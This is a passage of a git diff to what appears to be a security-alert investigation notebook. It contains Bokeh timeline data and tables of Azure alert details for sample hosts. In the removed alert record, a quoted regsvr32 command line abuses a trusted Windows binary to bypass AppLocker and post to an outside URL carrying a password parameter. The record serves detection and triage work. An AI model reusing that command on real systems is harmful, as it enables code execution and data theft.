executed\"],\"CompromisedEntity\":[\"\",\"\"],\"TimeGenerated\":{\"__ndarray__\":\"AABpfS2PdkIAAOeXvY52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"index\":[24,36],\"y_index\":[3,3]},\"selected\":{\"id\":\"1966\"},\"selection_policy\":{\"id\":\"1967\"}},\"id\":\"1835\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1975\",\"type\":\"DaysTicker\"},{\"attributes\":{\"data\":{\"AlertName\":[\"Security incident detected\",\"Potential attempt to bypass AppLocker detected\",\"Security incident with shared process detected\"],\"CompromisedEntity\":[\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\"],\"TimeGenerated\":{\"__ndarray__\":\"AICf1tKOdkIAAOeXvY52QgCAxhynjnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[3]},\"index\":[35,37,38],\"y_index\":[0,0,0]},\"selected\":{\"id\":\"1960\"},\"selection_policy\":{\"id\":\"1961\"}},\"id\":\"1832\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"label\":{\"value\":\"Medium\"},\"renderers\":[{\"id\":\"1936\"}]},\"id\":\"1938\",\"type\":\"LegendItem\"},{\"attributes\":{\"source\":{\"id\":\"1832\"}},\"id\":\"1892\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1978\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"data\":{\"AlertName\":[\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\",\"Detected suspicious file download\",\"Security incident detected\",\"Detected suspicious file download\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\"],\"CompromisedEntity\":[\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"MSTICALERTSLXVM2\"],\"TimeGenerated\":{\"__ndarray__\":\"AIAT+OaPdkIAgBxB5Y92QgCAE/jmj3ZCAIAJyuePdkIAgFv45I92QgAAU2bmj3ZCAIAdr+SPdkIAgNWu5o92QgCA1a7mj3ZCAIAT+OaPdkIAgNWu5o92QgCAG9Plj3ZCAIDXiuWPdkIAAJgc5o92QgCA3tnpj3ZCAIAQa4uPdkIAgMu0i492QgAAR5CMj3ZCAAA5aYWPdkIAADN2g492QgAAglFFj3ZCAIB8ePSOdkIAgKxpCo92QgCA+/4qj3ZCAICFQ4SPdkIAgDv8g492QgCAPx+Fj3ZCAIADsoOPdkIAgECNhI92QgCAbNmEj3ZCAABO/YuPdkIAgNIhi492QgCAykaMj3ZCAAAh6ReQdkIAAPyeE5B2Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[35]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23,25,26,27,28,29,30,31,32,33,34,39,40],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"1964\"},\"selection_policy\":{\"id\":\"1965\"}},\"id\":\"1834\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"end\":1550546937300.0,\"start\":1550082881700.0},\"id\":\"1840\",\"type\":\"Range1d\"},{\"attributes\":{\"data_source\":{\"id\":\"1834\"},\"glyph\":{\"id\":\"1899\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1900\"},\"selection_glyph\":null,\"view\":{\"id\":\"1902\"}},\"id\":\"1901\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1979\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1846\",\"type\":\"LinearScale\"},{\"attributes\":{\"source\":{\"id\":\"1833\"}},\"id\":\"1897\",\"type\":\"CDSView\"},{\"attributes\":{\"data_source\":{\"id\":\"1833\"},\"glyph\":{\"id\":\"1894\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1895\"},\"selection_glyph\":null,\"view\":{\"id\":\"1897\"}},\"id\":\"1896\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"axis\":{\"id\":\"1852\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"1855\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"1834\"}},\"id\":\"1931\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#FDE724\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1934\",\"type\":\"Diamond\"},{\"attributes\":{\"fill_color\":{\"value\":\"#35B778\"},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1899\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1980\",\"type\":\"YearsTicker\"},{\"attributes\":{\"label\":{\"value\":\"Low\"},\"renderers\":[{\"id\":\"1930\"}]},\"id\":\"1932\",\"type\":\"LegendItem\"},{\"attributes\":{\"overlay\":{\"id\":\"1909\"},\"x_range\":{\"id\":\"1840\"},\"y_range\":null},\"id\":\"1908\",\"type\":\"RangeTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1890\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1900\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"1834\"},\"glyph\":{\"id\":\"1928\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1929\"},\"selection_glyph\":null,\"view\":{\"id\":\"1931\"}},\"id\":\"1930\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"formatter\":{\"id\":\"1944\"},\"ticker\":{\"id\":\"1853\"},\"visible\":false},\"id\":\"1852\",\"type\":\"LinearAxis\"},{\"attributes\":{\"source\":{\"id\":\"1834\"}},\"id\":\"1902\",\"type\":\"CDSView\"},{\"attributes\":{\"data_source\":{\"id\":\"1832\"},\"glyph\":{\"id\":\"1889\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1890\"},\"selection_glyph\":null,\"view\":{\"id\":\"1892\"}},\"id\":\"1891\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1895\",\"type\":\"Circle\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1969\"},{\"id\":\"1970\"},{\"id\":\"1971\"},{\"id\":\"1972\"},{\"id\":\"1973\"},{\"id\":\"1974\"},{\"id\":\"1975\"},{\"id\":\"1976\"},{\"id\":\"1977\"},{\"id\":\"1978\"},{\"id\":\"1979\"},{\"id\":\"1980\"}]},\"id\":\"1881\",\"type\":\"DatetimeTicker\"}],\"root_ids\":[\"1940\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n",
+ " var render_items = [{\"docid\":\"8b9e78e4-0ca2-47c8-9771-55c87e836b49\",\"root_ids\":[\"1940\"],\"roots\":{\"1940\":\"d70b33b7-88e1-4d5f-9a19-692226e91c95\"}}];\n",
" root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
"\n",
" }\n",
@@ -580,7 +552,7 @@
},
"metadata": {
"application/vnd.bokehjs_exec.v0+json": {
- "id": "1110"
+ "id": "1940"
}
},
"output_type": "display_data"
@@ -588,7 +560,7 @@
{
"data": {
"application/vnd.jupyter.widget-view+json": {
- "model_id": "992da797193c4d629ed461d66dc913a4",
+ "model_id": "b73d7f7c4a884511b1f8bde0a62cbf20",
"version_major": 2,
"version_minor": 0
},
@@ -615,15 +587,15 @@
"data": {
"text/html": [
"\n",
- " Alert: 'Potential attempt to bypass AppLocker detected' \n",
- " Alert_time: 2019-02-14 11:51:38,\n",
- " Compr_entity: MSTICALERTSWIN1,\n",
- " Alert_id: 2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f\n",
+ " Alert: 'Possible suspicious scheduling tasks access detected' \n",
+ " Alert_time: 2019-02-15 04:03:22,\n",
+ " Compr_entity: MSTICALERTSLXVM2,\n",
+ " Alert_id: 2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07\n",
" \n",
" \n",
" \n",
" \n",
- " 37 \n",
+ " 22 \n",
" \n",
" \n",
" \n",
@@ -633,23 +605,23 @@
" \n",
" \n",
" TimeGenerated \n",
- " 2019-02-14 11:52:06 \n",
+ " 2019-02-15 04:03:30 \n",
" \n",
" \n",
" AlertDisplayName \n",
- " Potential attempt to bypass AppLocker detected \n",
+ " Possible suspicious scheduling tasks access detected \n",
" \n",
" \n",
" AlertName \n",
- " Potential attempt to bypass AppLocker detected \n",
+ " Possible suspicious scheduling tasks access detected \n",
" \n",
" \n",
" Severity \n",
- " High \n",
+ " Informational \n",
" \n",
" \n",
" Description \n",
- " Analysis of host data on MSTICALERTSWIN1 detected a potential attempt to bypass AppLocker restrictions. AppLocker can be configured to implement a policy that limits what executables are allowed to run on a Windows system. The command line pattern similar to that identified in this alert has been previously associated with attacker attempts to circumvent AppLocker policy by using trusted executables (allowed by AppLocker policy) to execute untrusted code. This could be legitimate activity, or an indication of a compromised host. \n",
+ " Analysis of host data indicates that a cron job was accessed by dbadmin.\\r\\nThis activity could either be legitimate activity, or an indication of a compromised host that involved using task scheduling to execute malicious programs on a scheduled basis. \n",
" \n",
" \n",
" ProviderName \n",
@@ -661,23 +633,23 @@
" \n",
" \n",
" VendorOriginalId \n",
- " daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f \n",
+ " 57b6af71-984e-45f3-9aac-d6bbd79eed07 \n",
" \n",
" \n",
" SystemAlertId \n",
- " 2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f \n",
+ " 2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07 \n",
" \n",
" \n",
" ResourceId \n",
- " /subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1 \n",
+ " /subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsLxVM2 \n",
" \n",
" \n",
" SourceComputerId \n",
- " 263a788b-6526-4cdc-8ed9-d79402fe4aa0 \n",
+ " 44623fb0-bd5f-49ea-84d1-56aa11ab8a25 \n",
" \n",
" \n",
" AlertType \n",
- " SCUBA_RULE_Applocker_Bypass \n",
+ " SCUBA_RULE_AccessCronJob \n",
" \n",
" \n",
" ConfidenceLevel \n",
@@ -693,27 +665,27 @@
" \n",
" \n",
" StartTimeUtc \n",
- " 2019-02-14 11:51:38 \n",
+ " 2019-02-15 04:03:22 \n",
" \n",
" \n",
" EndTimeUtc \n",
- " 2019-02-14 11:51:38 \n",
+ " 2019-02-15 04:03:22 \n",
" \n",
" \n",
" ProcessingEndTime \n",
- " 2019-02-14 11:52:07 \n",
+ " 2019-02-15 04:03:30 \n",
" \n",
" \n",
" RemediationSteps \n",
- " [\\r\\n \"Review with MSTICALERTSWIN1\\\\MSTICAdmin the suspicious command line in this alert to see if you recognise this as legitimate activity that you expect to see on MSTICALERTSWIN1. If not, escalate the alert to the information security team.\"\\r\\n] \n",
+ " [\\r\\n \"Review with dbadmin the activity in this alert to see if you recognize this as legitimate administrative activity. If not, escalate the alert to the information security team.\"\\r\\n] \n",
" \n",
" \n",
" ExtendedProperties \n",
- " {'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Session Id': '0x78225e', 'Suspicious Process': 'c:\\w!ndows\\system32\\regsvr32.exe', 'Suspicious Command Line': '.\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post', 'Parent Process': 'c:\\windows\\system32\\cmd.exe', 'Suspicious Process Id': '0x1150', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'} \n",
+ " {'Compromised Host': 'MSTICALERTSLXVM2', 'User Name': 'dbadmin', 'Account Session Id': '0x2e093', 'Suspicious Process': '/usr/bin/vim.basic', 'Suspicious Command Line': '/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab', 'Suspicious Process Id': '0x51b3', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'} \n",
" \n",
" \n",
" Entities \n",
- " [{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'OSVersion': 'Windows', 'IsDomainJoined': False, 'Type': 'host'}, {'$id': '5', 'Directory': 'c:\\windows\\system32', 'Name': 'cmd.exe', 'Type': 'file'}, {'$id': '6', 'ProcessId': '0x12f4', 'CommandLine': '', 'ImageFile': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '7', 'Name': 'MSTICAdmin', 'NTDomain': 'MSTICAlertsWin1', 'Host': {'$ref': '4'}, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'IsDomainJoined': False, 'Type': 'account', 'LogonId': '0x78225e'}, {'$id': '8', 'Directory': 'c:\\w!ndows\\system32', 'Name': 'regsvr32.exe', 'Type': 'file'}, {'$id': '9', 'ProcessId': '0x1150', 'CommandLine': '.\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post', 'ElevationToken': 'Default', 'CreationTimeUtc': '2019-02-14T11:51:38.5072586Z', 'ImageFile': {'$ref': '8'}, 'Account': {'$ref': '7'}, 'ParentProcess': {'$ref': '6'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '10', 'SessionId': '0x78225e', 'StartTimeUtc': '2019-02-14T11:51:38.5072586Z', 'EndTimeUtc': '2019-02-14T11:51:38.5072586Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '7'}}] \n",
+ " [{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSLXVM2', 'NetBiosName': 'MSTICALERTSLXVM2', 'OSFamily': 'Linux', 'OSVersion': 'Linux', 'Type': 'host'}, {'$id': '5', 'ProcessId': '0x518a', 'CommandLine': '', 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '6', 'Name': 'dbadmin', 'Host': {'$ref': '4'}, 'Sid': '1001:1001', 'Type': 'account', 'LogonId': '0x2e093'}, {'$id': '7', 'Directory': '/usr/bin', 'Name': 'vim.basic', 'Type': 'file'}, {'$id': '8', 'ProcessId': '0x51b3', 'CommandLine': '/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab', 'CreationTimeUtc': '2019-02-15T04:03:22.173Z', 'ImageFile': {'$ref': '7'}, 'Account': {'$ref': '6'}, 'ParentProcess': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '9', 'SessionId': '0x2e093', 'StartTimeUtc': '2019-02-15T04:03:22.173Z', 'EndTimeUtc': '2019-02-15T04:03:22.173Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '6'}}] \n",
" \n",
" \n",
" SourceSystem \n",
@@ -749,7 +721,7 @@
" \n",
" \n",
" CompromisedEntity \n",
- " MSTICALERTSWIN1 \n",
+ " MSTICALERTSLXVM2 \n",
" \n",
" \n",
"
ExtendedProperties: \n",
@@ -762,31 +734,27 @@
" \n",
" \n",
" Compromised Host \n",
- " MSTICALERTSWIN1 \n",
+ " MSTICALERTSLXVM2 \n",
" \n",
" \n",
" User Name \n",
- " MSTICALERTSWIN1\\MSTICAdmin \n",
+ " dbadmin \n",
" \n",
" \n",
" Account Session Id \n",
- " 0x78225e \n",
+ " 0x2e093 \n",
" \n",
" \n",
" Suspicious Process \n",
- " c:\\w!ndows\\system32\\regsvr32.exe \n",
+ " /usr/bin/vim.basic \n",
" \n",
" \n",
" Suspicious Command Line \n",
- " .\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post \n",
- " \n",
- " \n",
- " Parent Process \n",
- " c:\\windows\\system32\\cmd.exe \n",
+ " /usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab \n",
" \n",
" \n",
" Suspicious Process Id \n",
- " 0x1150 \n",
+ " 0x51b3 \n",
" \n",
" \n",
" resourceType \n",
@@ -805,7 +773,7 @@
" eastus \n",
" \n",
" \n",
- "
Entity counts: host: 1, file: 2, process: 2, account: 1, host-logon-session: 1"
+ "Entity counts: host: 1, process: 2, account: 1, file: 1, host-logon-session: 1"
],
"text/plain": [
""
@@ -834,13 +802,12 @@
},
{
"cell_type": "code",
- "execution_count": 34,
+ "execution_count": 11,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:40:32.034565Z",
"start_time": "2020-08-25T19:40:31.742565Z"
},
- "scrolled": false,
"slideshow": {
"slide_type": "-"
}
@@ -872,33 +839,322 @@
},
{
"data": {
- "image/png": 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